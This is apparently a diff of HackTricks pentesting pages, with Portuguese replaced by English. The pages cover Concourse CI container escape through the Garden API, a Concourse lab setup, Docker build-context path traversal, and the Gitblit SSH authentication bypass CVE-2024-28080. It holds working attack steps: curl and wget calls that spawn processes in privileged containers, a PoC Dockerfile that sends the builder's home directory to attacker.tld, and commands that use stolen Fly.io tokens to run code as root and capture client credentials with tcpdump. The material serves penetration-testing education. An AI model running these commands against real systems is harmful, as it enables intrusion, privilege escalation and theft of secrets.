No ambiente, você também pode encontrar informações para **acessar a instância do postgresql** que o concourse usa (endereço, **nome de usuário**, **senha** e banco de dados, entre outras informações):
|
||||
You cloud use that credentials to **login against the web server** and **create a privileged container and escape to the node**.
|
||||
|
||||
In the environment you can also find information to **access the postgresql** instance that concourse uses (address, **username**, **password** and database among other info):
|
||||
|
||||
```bash
|
||||
env | grep -i postg
|
||||
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
|
||||
@@ -327,35 +346,39 @@ select * from refresh_token;
|
||||
select * from teams; #Change the permissions of the users in the teams
|
||||
select * from users;
|
||||
```
|
||||
#### Abusando do Serviço Garden - Não é um Ataque Real
|
||||
|
||||
#### Abusing Garden Service - Not a real Attack
|
||||
|
||||
> [!WARNING]
|
||||
> Estas são apenas algumas notas interessantes sobre o serviço, mas como ele está apenas ouvindo no localhost, essas notas não apresentarão nenhum impacto que já não tenhamos explorado antes.
|
||||
> This are just some interesting notes about the service, but because it's only listening on localhost, this notes won't present any impact we haven't already exploited before
|
||||
|
||||
Por padrão, cada trabalhador do concourse estará executando um serviço [**Garden**](https://github.com/cloudfoundry/garden) na porta 7777. Este serviço é usado pelo Web master para indicar ao trabalhador **o que ele precisa executar** (baixar a imagem e executar cada tarefa). Isso soa muito bem para um atacante, mas há algumas boas proteções:
|
||||
By default each concourse worker will be running a [**Garden**](https://github.com/cloudfoundry/garden) service in port 7777. This service is used by the Web master to indicate the worker **what he needs to execute** (download the image and run each task). This sound pretty good for an attacker, but there are some nice protections:
|
||||
|
||||
- Está apenas **exposto localmente** (127..0.0.1) e eu acho que quando o trabalhador se autentica contra o Web com o serviço SSH especial, um túnel é criado para que o servidor web possa **conversar com cada serviço Garden** dentro de cada trabalhador.
|
||||
- O servidor web está **monitorando os contêineres em execução a cada poucos segundos**, e contêineres **inesperados** são **deletados**. Portanto, se você quiser **executar um contêiner personalizado**, precisará **interferir** na **comunicação** entre o servidor web e o serviço garden.
|
||||
- It's just **exposed locally** (127..0.0.1) and I think when the worker authenticates agains the Web with the special SSH service, a tunnel is created so the web server can **talk to each Garden service** inside each worker.
|
||||
- The web server is **monitoring the running containers every few seconds**, and **unexpected** containers are **deleted**. So if you want to **run a custom container** you need to **tamper** with the **communication** between the web server and the garden service.
|
||||
|
||||
Concourse workers run with high container privileges:
|
||||
|
||||
Os trabalhadores do Concourse são executados com altos privilégios de contêiner:
|
||||
```
|
||||
Container Runtime: docker
|
||||
Has Namespaces:
|
||||
pid: true
|
||||
user: false
|
||||
pid: true
|
||||
user: false
|
||||
AppArmor Profile: kernel
|
||||
Capabilities:
|
||||
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
|
||||
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
|
||||
Seccomp: disabled
|
||||
```
|
||||
No entanto, técnicas como **montar** o dispositivo /dev do nó ou release_agent **não funcionarão** (já que o dispositivo real com o sistema de arquivos do nó não é acessível, apenas um virtual). Não podemos acessar processos do nó, então escapar do nó sem exploits de kernel se torna complicado.
|
||||
|
||||
However, techniques like **mounting** the /dev device of the node or release_agent **won't work** (as the real device with the filesystem of the node isn't accesible, only a virtual one). We cannot access processes of the node, so escaping from the node without kernel exploits get complicated.
|
||||
|
||||
> [!NOTE]
|
||||
> Na seção anterior, vimos como escapar de um contêiner privilegiado, então se pudermos **executar** comandos em um **contêiner privilegiado** criado pelo **trabalhador** **atual**, poderíamos **escapar para o nó**.
|
||||
> In the previous section we saw how to escape from a privileged container, so if we can **execute** commands in a **privileged container** created by the **current** **worker**, we could **escape to the node**.
|
||||
|
||||
Note que ao brincar com o concourse, percebi que quando um novo contêiner é gerado para executar algo, os processos do contêiner são acessíveis a partir do contêiner do trabalhador, então é como um contêiner criando um novo contêiner dentro dele.
|
||||
Note that playing with concourse I noted that when a new container is spawned to run something, the container processes are accessible from the worker container, so it's like a container creating a new container inside of it.
|
||||
|
||||
**Getting inside a running privileged container**
|
||||
|
||||
**Entrando em um contêiner privilegiado em execução**
|
||||
```bash
|
||||
# Get current container
|
||||
curl 127.0.0.1:7777/containers
|
||||
@@ -368,26 +391,30 @@ curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties
|
||||
# Execute a new process inside a container
|
||||
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
|
||||
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
|
||||
--header='Content-Type:application/json' \
|
||||
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
|
||||
--header='Content-Type:application/json' \
|
||||
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
|
||||
|
||||
# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
|
||||
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh
|
||||
```
|
||||
**Criando um novo contêiner privilegiado**
|
||||
|
||||
Você pode criar muito facilmente um novo contêiner (basta executar um UID aleatório) e executar algo nele:
|
||||
**Creating a new privileged container**
|
||||
|
||||
You can very easily create a new container (just run a random UID) and execute something on it:
|
||||
|
||||
```bash
|
||||
curl -X POST http://127.0.0.1:7777/containers \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
|
||||
|
||||
# Wget will be stucked there as long as the process is being executed
|
||||
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
|
||||
--header='Content-Type:application/json' \
|
||||
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
|
||||
--header='Content-Type:application/json' \
|
||||
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
|
||||
```
|
||||
No entanto, o servidor web está verificando a cada poucos segundos os contêineres que estão em execução, e se um inesperado for descoberto, ele será excluído. Como a comunicação está ocorrendo em HTTP, você poderia manipular a comunicação para evitar a exclusão de contêineres inesperados:
|
||||
|
||||
However, the web server is checking every few seconds the containers that are running, and if an unexpected one is discovered, it will be deleted. As the communication is occurring in HTTP, you could tamper the communication to avoid the deletion of unexpected containers:
|
||||
|
||||
```
|
||||
GET /containers HTTP/1.1.
|
||||
Host: 127.0.0.1:7777.
|
||||
@@ -409,8 +436,11 @@ Host: 127.0.0.1:7777.
|
||||
User-Agent: Go-http-client/1.1.
|
||||
Accept-Encoding: gzip.
|
||||
```
|
||||
## Referências
|
||||
|
||||
## References
|
||||
|
||||
- [https://concourse-ci.org/vars.html](https://concourse-ci.org/vars.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,23 +1,26 @@
|
||||
# Criação do Laboratório Concourse
|
||||
# Concourse Lab Creation
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Ambiente de Teste
|
||||
## Testing Environment
|
||||
|
||||
### Executando o Concourse
|
||||
### Running Concourse
|
||||
|
||||
#### Com Docker-Compose
|
||||
#### With Docker-Compose
|
||||
|
||||
This docker-compose file simplifies the installation to do some tests with concourse:
|
||||
|
||||
Este arquivo docker-compose simplifica a instalação para realizar alguns testes com o concourse:
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml
|
||||
docker-compose up -d
|
||||
```
|
||||
Você pode baixar a linha de comando `fly` para o seu sistema operacional na web em `127.0.0.1:8080`
|
||||
|
||||
#### Com Kubernetes (Recomendado)
|
||||
You can download the command line `fly` for your OS from the web in `127.0.0.1:8080`
|
||||
|
||||
#### With Kubernetes (Recommended)
|
||||
|
||||
You can easily deploy concourse in **Kubernetes** (in **minikube** for example) using the helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart).
|
||||
|
||||
Você pode implantar facilmente o concourse em **Kubernetes** (no **minikube**, por exemplo) usando o helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart).
|
||||
```bash
|
||||
brew install helm
|
||||
helm repo add concourse https://concourse-charts.storage.googleapis.com/
|
||||
@@ -28,90 +31,94 @@ helm install concourse-release concourse/concourse
|
||||
# If you need to delete it
|
||||
helm delete concourse-release
|
||||
```
|
||||
Após gerar o ambiente do concourse, você pode gerar um segredo e dar acesso ao SA executando no concourse web para acessar os segredos do K8s:
|
||||
|
||||
After generating the concourse env, you could generate a secret and give a access to the SA running in concourse web to access K8s secrets:
|
||||
|
||||
```yaml
|
||||
echo 'apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
metadata:
|
||||
name: read-secrets
|
||||
name: read-secrets
|
||||
rules:
|
||||
- apiGroups: [""]
|
||||
resources: ["secrets"]
|
||||
verbs: ["get"]
|
||||
resources: ["secrets"]
|
||||
verbs: ["get"]
|
||||
|
||||
---
|
||||
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: RoleBinding
|
||||
metadata:
|
||||
name: read-secrets-concourse
|
||||
name: read-secrets-concourse
|
||||
roleRef:
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
kind: ClusterRole
|
||||
name: read-secrets
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
kind: ClusterRole
|
||||
name: read-secrets
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: concourse-release-web
|
||||
namespace: default
|
||||
name: concourse-release-web
|
||||
namespace: default
|
||||
|
||||
---
|
||||
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
metadata:
|
||||
name: super
|
||||
namespace: concourse-release-main
|
||||
name: super
|
||||
namespace: concourse-release-main
|
||||
type: Opaque
|
||||
data:
|
||||
secret: MWYyZDFlMmU2N2Rm
|
||||
secret: MWYyZDFlMmU2N2Rm
|
||||
|
||||
' | kubectl apply -f -
|
||||
```
|
||||
### Criar Pipeline
|
||||
|
||||
Um pipeline é composto por uma lista de [Jobs](https://concourse-ci.org/jobs.html) que contém uma lista ordenada de [Steps](https://concourse-ci.org/steps.html).
|
||||
### Create Pipeline
|
||||
|
||||
A pipeline is made of a list of [Jobs](https://concourse-ci.org/jobs.html) which contains an ordered list of [Steps](https://concourse-ci.org/steps.html).
|
||||
|
||||
### Steps
|
||||
|
||||
Vários tipos diferentes de steps podem ser usados:
|
||||
Several different type of steps can be used:
|
||||
|
||||
- **o** [**`task` step**](https://concourse-ci.org/task-step.html) **executa uma** [**task**](https://concourse-ci.org/tasks.html)
|
||||
- o [`get` step](https://concourse-ci.org/get-step.html) busca um [resource](https://concourse-ci.org/resources.html)
|
||||
- o [`put` step](https://concourse-ci.org/put-step.html) atualiza um [resource](https://concourse-ci.org/resources.html)
|
||||
- o [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configura um [pipeline](https://concourse-ci.org/pipelines.html)
|
||||
- o [`load_var` step](https://concourse-ci.org/load-var-step.html) carrega um valor em uma [local var](https://concourse-ci.org/vars.html#local-vars)
|
||||
- o [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) executa steps em paralelo
|
||||
- o [`do` step](https://concourse-ci.org/do-step.html) executa steps em sequência
|
||||
- o [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) executa um step várias vezes; uma vez para cada combinação de valores de variável
|
||||
- o [`try` step](https://concourse-ci.org/try-step.html) tenta executar um step e tem sucesso mesmo que o step falhe
|
||||
- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **runs a** [**task**](https://concourse-ci.org/tasks.html)
|
||||
- the [`get` step](https://concourse-ci.org/get-step.html) fetches a [resource](https://concourse-ci.org/resources.html)
|
||||
- the [`put` step](https://concourse-ci.org/put-step.html) updates a [resource](https://concourse-ci.org/resources.html)
|
||||
- the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configures a [pipeline](https://concourse-ci.org/pipelines.html)
|
||||
- the [`load_var` step](https://concourse-ci.org/load-var-step.html) loads a value into a [local var](https://concourse-ci.org/vars.html#local-vars)
|
||||
- the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) runs steps in parallel
|
||||
- the [`do` step](https://concourse-ci.org/do-step.html) runs steps in sequence
|
||||
- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) runs a step multiple times; once for each combination of variable values
|
||||
- the [`try` step](https://concourse-ci.org/try-step.html) attempts to run a step and succeeds even if the step fails
|
||||
|
||||
Cada [step](https://concourse-ci.org/steps.html) em um [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) é executado em seu **próprio container**. Você pode executar qualquer coisa que desejar dentro do container _(ou seja, executar meus testes, executar este script bash, construir esta imagem, etc.)_. Portanto, se você tiver um job com cinco steps, o Concourse criará cinco containers, um para cada step.
|
||||
Each [step](https://concourse-ci.org/steps.html) in a [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) runs in its **own container**. You can run anything you want inside the container _(i.e. run my tests, run this bash script, build this image, etc.)_. So if you have a job with five steps Concourse will create five containers, one for each step.
|
||||
|
||||
Portanto, é possível indicar o tipo de container que cada step precisa ser executado.
|
||||
Therefore, it's possible to indicate the type of container each step needs to be run in.
|
||||
|
||||
### Simple Pipeline Example
|
||||
|
||||
### Exemplo de Pipeline Simples
|
||||
```yaml
|
||||
jobs:
|
||||
- name: simple
|
||||
plan:
|
||||
- task: simple-task
|
||||
privileged: true
|
||||
config:
|
||||
# Tells Concourse which type of worker this task should run on
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: busybox # images are pulled from docker hub by default
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
sleep 1000
|
||||
echo "$SUPER_SECRET"
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
- name: simple
|
||||
plan:
|
||||
- task: simple-task
|
||||
privileged: true
|
||||
config:
|
||||
# Tells Concourse which type of worker this task should run on
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: busybox # images are pulled from docker hub by default
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
sleep 1000
|
||||
echo "$SUPER_SECRET"
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
```
|
||||
|
||||
```bash
|
||||
@@ -123,21 +130,25 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch
|
||||
# From another console
|
||||
fly -t tutorial intercept --job pipe-name/simple
|
||||
```
|
||||
Verifique **127.0.0.1:8080** para ver o fluxo do pipeline.
|
||||
|
||||
### Script Bash com pipeline de saída/entrada
|
||||
Check **127.0.0.1:8080** to see the pipeline flow.
|
||||
|
||||
É possível **salvar os resultados de uma tarefa em um arquivo** e indicar que é uma saída e, em seguida, indicar a entrada da próxima tarefa como a saída da tarefa anterior. O que o concourse faz é **montar o diretório da tarefa anterior na nova tarefa onde você pode acessar os arquivos criados pela tarefa anterior**.
|
||||
### Bash script with output/input pipeline
|
||||
|
||||
### Gatilhos
|
||||
It's possible to **save the results of one task in a file** and indicate that it's an output and then indicate the input of the next task as the output of the previous task. What concourse does is to **mount the directory of the previous task in the new task where you can access the files created by the previous task**.
|
||||
|
||||
Você não precisa acionar os trabalhos manualmente toda vez que precisar executá-los, você também pode programá-los para serem executados toda vez:
|
||||
### Triggers
|
||||
|
||||
- Algum tempo passa: [Time resource](https://github.com/concourse/time-resource/)
|
||||
- Em novos commits para o branch principal: [Git resource](https://github.com/concourse/git-resource)
|
||||
- Novos PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
|
||||
- Buscar ou enviar a imagem mais recente do seu aplicativo: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
|
||||
You don't need to trigger the jobs manually every-time you need to run them, you can also program them to be run every-time:
|
||||
|
||||
Verifique um exemplo de pipeline YAML que é acionado em novos commits para master em [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
|
||||
- Some time passes: [Time resource](https://github.com/concourse/time-resource/)
|
||||
- On new commits to the main branch: [Git resource](https://github.com/concourse/git-resource)
|
||||
- New PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
|
||||
- Fetch or push the latest image of your app: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
|
||||
|
||||
Check a YAML pipeline example that triggers on new commits to master in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,101 +0,0 @@
|
||||
# Abusing Docker Build Context in Hosted Builders (Path Traversal, Exfil, and Cloud Pivot)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## TL;DR
|
||||
|
||||
Se uma plataforma CI/CD ou hosted builder permitir que colaboradores especifiquem o caminho do Docker build context e o caminho do Dockerfile, frequentemente é possível definir o contexto para um diretório pai (por exemplo, "..") e tornar arquivos do host parte do build context. Então, um Dockerfile controlado pelo atacante pode COPY e exfiltrate segredos encontrados no home do usuário do builder (por exemplo, ~/.docker/config.json). Tokens de registry roubados também podem funcionar contra as control-plane APIs do provedor, permitindo RCE em toda a organização.
|
||||
|
||||
## Superfície de ataque
|
||||
|
||||
Muitos serviços de hosted builder/registry fazem mais ou menos isto ao construir imagens enviadas por usuários:
|
||||
- Ler uma configuração a nível de repo que inclui:
|
||||
- build context path (enviado ao Docker daemon)
|
||||
- Dockerfile path relativo a esse contexto
|
||||
- Copy o diretório do build context indicado e o Dockerfile para o Docker daemon
|
||||
- Build da imagem e execução como um serviço hospedado
|
||||
|
||||
Se a plataforma não canonicalizar e restringir o build context, um usuário pode defini-lo para um local fora do repositório (path traversal), fazendo com que arquivos arbitrários do host legíveis pelo build user se tornem parte do build context e fiquem disponíveis para COPY no Dockerfile.
|
||||
|
||||
Restrições práticas comumente observadas:
|
||||
- O Dockerfile deve residir dentro do caminho de contexto escolhido e seu caminho deve ser conhecido com antecedência.
|
||||
- O build user deve ter acesso de leitura aos arquivos incluídos no contexto; arquivos de dispositivo especiais podem quebrar a cópia.
|
||||
|
||||
## PoC: Path traversal via Docker build context
|
||||
|
||||
Exemplo de configuração de servidor maliciosa declarando um Dockerfile dentro do contexto do diretório pai:
|
||||
```yaml
|
||||
runtime: "container"
|
||||
build:
|
||||
dockerfile: "test/Dockerfile" # Must reside inside the final context
|
||||
dockerBuildPath: ".." # Path traversal to builder user $HOME
|
||||
startCommand:
|
||||
type: "http"
|
||||
configSchema:
|
||||
type: "object"
|
||||
properties:
|
||||
apiKey:
|
||||
type: "string"
|
||||
required: ["apiKey"]
|
||||
exampleConfig:
|
||||
apiKey: "sk-example123"
|
||||
```
|
||||
Notas:
|
||||
- Usar ".." frequentemente resolve para o diretório home do usuário builder (por exemplo, /home/builder), que normalmente contém arquivos sensíveis.
|
||||
- Coloque seu Dockerfile sob o nome do diretório do repo (por exemplo, repo "test" → test/Dockerfile) para que permaneça dentro do contexto pai expandido.
|
||||
|
||||
## PoC: Dockerfile para ingerir e exfiltrar o contexto do host
|
||||
```dockerfile
|
||||
FROM alpine
|
||||
RUN apk add --no-cache curl
|
||||
RUN mkdir /data
|
||||
COPY . /data # Copies entire build context (now builder’s $HOME)
|
||||
RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
|
||||
```
|
||||
Alvos comumente recuperados de $HOME:
|
||||
- ~/.docker/config.json (registry auths/tokens)
|
||||
- Outros caches e configs de cloud/CLI (e.g., ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
|
||||
|
||||
Dica: Mesmo com um .dockerignore no repositório, a seleção de contexto do lado da plataforma vulnerável ainda governa o que é enviado ao daemon. Se a plataforma copiar o caminho escolhido para o daemon antes de avaliar o .dockerignore do seu repo, arquivos do host ainda podem ser expostos.
|
||||
|
||||
## Pivot na cloud com tokens excessivamente privilegiados (exemplo: Fly.io Machines API)
|
||||
|
||||
Algumas plataformas emitem um único bearer token utilizável tanto para o container registry quanto para o control-plane API. Se você exfiltrar um registry token, tente usá-lo contra a API do provedor.
|
||||
|
||||
Example API calls against Fly.io Machines API using the stolen token from ~/.docker/config.json:
|
||||
|
||||
Enumerate apps in an org:
|
||||
```bash
|
||||
curl -H "Authorization: Bearer fm2_..." \
|
||||
"https://api.machines.dev/v1/apps?org_slug=smithery"
|
||||
```
|
||||
Execute um comando como root dentro de qualquer máquina de um app:
|
||||
```bash
|
||||
curl -s -X POST -H "Authorization: Bearer fm2_..." \
|
||||
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
|
||||
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
|
||||
```
|
||||
Resultado: org-wide remote code execution across all hosted apps where the token holds sufficient privileges.
|
||||
|
||||
## Roubo de segredos de serviços hospedados comprometidos
|
||||
|
||||
Com exec/RCE em servidores hospedados, você pode obter segredos fornecidos pelo cliente (API keys, tokens) ou realizar ataques de prompt-injection. Exemplo: instalar tcpdump e capturar tráfego HTTP na porta 8080 para extrair credenciais de entrada.
|
||||
```bash
|
||||
# Install tcpdump inside the machine
|
||||
curl -s -X POST -H "Authorization: Bearer fm2_..." \
|
||||
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
|
||||
--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'
|
||||
|
||||
# Capture traffic
|
||||
curl -s -X POST -H "Authorization: Bearer fm2_..." \
|
||||
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
|
||||
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
|
||||
```
|
||||
Requisições capturadas frequentemente contêm client credentials em headers, bodies ou query params.
|
||||
|
||||
## Referências
|
||||
|
||||
- [Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft](https://blog.gitguardian.com/breaking-mcp-server-hosting/)
|
||||
- [Fly.io Machines API](https://fly.io/docs/machines/api/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
@@ -1,12 +1,12 @@
|
||||
# Gitblit Segurança
|
||||
# Gitblit Security
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## O que é o Gitblit
|
||||
## What is Gitblit
|
||||
|
||||
Gitblit é um servidor Git auto‑hospedado escrito em Java. Pode ser executado como um JAR standalone ou em contêineres de servlet e fornece um serviço SSH embutido (Apache MINA SSHD) para Git sobre SSH.
|
||||
Gitblit is a self‑hosted Git server written in Java. It can run as a standalone JAR or in servlet containers and ships an embedded SSH service (Apache MINA SSHD) for Git over SSH.
|
||||
|
||||
## Tópicos
|
||||
## Topics
|
||||
|
||||
- Gitblit Embedded SSH Auth Bypass (CVE-2024-28080)
|
||||
|
||||
@@ -14,8 +14,8 @@ Gitblit é um servidor Git auto‑hospedado escrito em Java. Pode ser executado
|
||||
gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md
|
||||
{{#endref}}
|
||||
|
||||
## Referências
|
||||
## References
|
||||
|
||||
- [Gitblit project](https://gitblit.com/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@@ -2,100 +2,104 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Resumo
|
||||
## Summary
|
||||
|
||||
CVE-2024-28080 é um bypass de autenticação no serviço SSH embutido do Gitblit devido ao manuseio incorreto do estado da sessão ao integrar com Apache MINA SSHD. Se uma conta de usuário tiver pelo menos uma chave pública SSH registrada, um atacante que conhece o nome de usuário e qualquer uma das chaves públicas desse usuário pode se autenticar sem a chave privada e sem a senha.
|
||||
CVE-2024-28080 is an authentication bypass in Gitblit’s embedded SSH service due to incorrect session state handling when integrating with Apache MINA SSHD. If a user account has at least one SSH public key registered, an attacker who knows the username and any of that user’s public keys can authenticate without the private key and without the password.
|
||||
|
||||
- Affected: Gitblit < 1.10.0 (observed on 1.9.3)
|
||||
- Fixed: 1.10.0
|
||||
- Requirements to exploit:
|
||||
- Git over SSH enabled on the instance
|
||||
- Victim account has at least one SSH public key registered in Gitblit
|
||||
- Attacker knows victim username and one of their public keys (often discoverable, e.g., https://github.com/<username>.keys)
|
||||
- Git over SSH enabled on the instance
|
||||
- Victim account has at least one SSH public key registered in Gitblit
|
||||
- Attacker knows victim username and one of their public keys (often discoverable, e.g., https://github.com/<username>.keys)
|
||||
|
||||
## Root cause (state leaks between SSH methods)
|
||||
|
||||
No RFC 4252, a autenticação por chave‑pública procede em duas fases: o servidor primeiro verifica se uma chave pública fornecida é aceitável para um nome de usuário, e somente após um challenge/response com uma assinatura é que autentica o usuário. No MINA SSHD, o PublickeyAuthenticator é invocado duas vezes: na aceitação da chave (ainda sem assinatura) e mais tarde, depois que o cliente retorna uma assinatura.
|
||||
In RFC 4252, public‑key authentication proceeds in two phases: the server first checks whether a provided public key is acceptable for a username, and only after a challenge/response with a signature does it authenticate the user. In MINA SSHD, the PublickeyAuthenticator is invoked twice: on key acceptance (no signature yet) and later after the client returns a signature.
|
||||
|
||||
O PublickeyAuthenticator do Gitblit mutou o contexto da sessão na primeira chamada pré‑assinatura ao vincular o UserModel autenticado à sessão e retornar true ("key acceptable"). Quando a autenticação depois recorria à senha, o PasswordAuthenticator confiava naquele estado de sessão mutado e encurtava o fluxo, retornando true sem validar a senha. Como resultado, qualquer senha (incluindo vazia) era aceita após uma aceitação prévia por chave pública para o mesmo usuário.
|
||||
Gitblit’s PublickeyAuthenticator mutated the session context on the first, pre‑signature call by binding the authenticated UserModel to the session and returning true ("key acceptable"). When authentication later fell back to password, the PasswordAuthenticator trusted that mutated session state and short‑circuited, returning true without validating the password. As a result, any password (including empty) was accepted after a prior public‑key "acceptance" for the same user.
|
||||
|
||||
Fluxo com falha em alto nível:
|
||||
High‑level flawed flow:
|
||||
|
||||
1) Cliente oferece username + public key (ainda sem assinatura)
|
||||
2) Servidor reconhece a chave como pertencente ao usuário e prematuramente associa o usuário à sessão, retornando true ("acceptable")
|
||||
3) Cliente não consegue assinar (sem private key), então a autenticação recorre à senha
|
||||
4) A autenticação por senha vê um usuário já presente na sessão e retorna sucesso incondicionalmente
|
||||
1) Client offers username + public key (no signature yet)
|
||||
2) Server recognizes the key as belonging to the user and prematurely attaches user to the session, returns true ("acceptable")
|
||||
3) Client cannot sign (no private key), so auth falls back to password
|
||||
4) Password auth sees a user already present in session and unconditionally returns success
|
||||
|
||||
## Exploração passo a passo
|
||||
## Step‑by‑step exploitation
|
||||
|
||||
- Colete o username da vítima e uma de suas public keys:
|
||||
- GitHub expõe public keys em https://github.com/<username>.keys
|
||||
- Servidores públicos frequentemente expõem authorized_keys
|
||||
- Configure o OpenSSH para apresentar apenas a metade pública para que a geração da signature falhe, forçando o fallback para password enquanto ainda aciona o caminho de aceitação por public‑key no servidor.
|
||||
- Collect a victim’s username and one of their public keys:
|
||||
- GitHub exposes public keys at https://github.com/<username>.keys
|
||||
- Public servers often expose authorized_keys
|
||||
- Configure OpenSSH to present only the public half so signature generation fails, forcing a fallback to password while still triggering the public‑key acceptance path on the server.
|
||||
|
||||
Example SSH client config (no private key available):
|
||||
|
||||
Exemplo de configuração do cliente SSH (no private key disponível):
|
||||
```sshconfig
|
||||
# ~/.ssh/config
|
||||
Host gitblit-target
|
||||
HostName <host-or-ip>
|
||||
User <victim-username>
|
||||
PubkeyAuthentication yes
|
||||
PreferredAuthentications publickey,password
|
||||
IdentitiesOnly yes
|
||||
IdentityFile ~/.ssh/victim.pub # public half only (no private key present)
|
||||
HostName <host-or-ip>
|
||||
User <victim-username>
|
||||
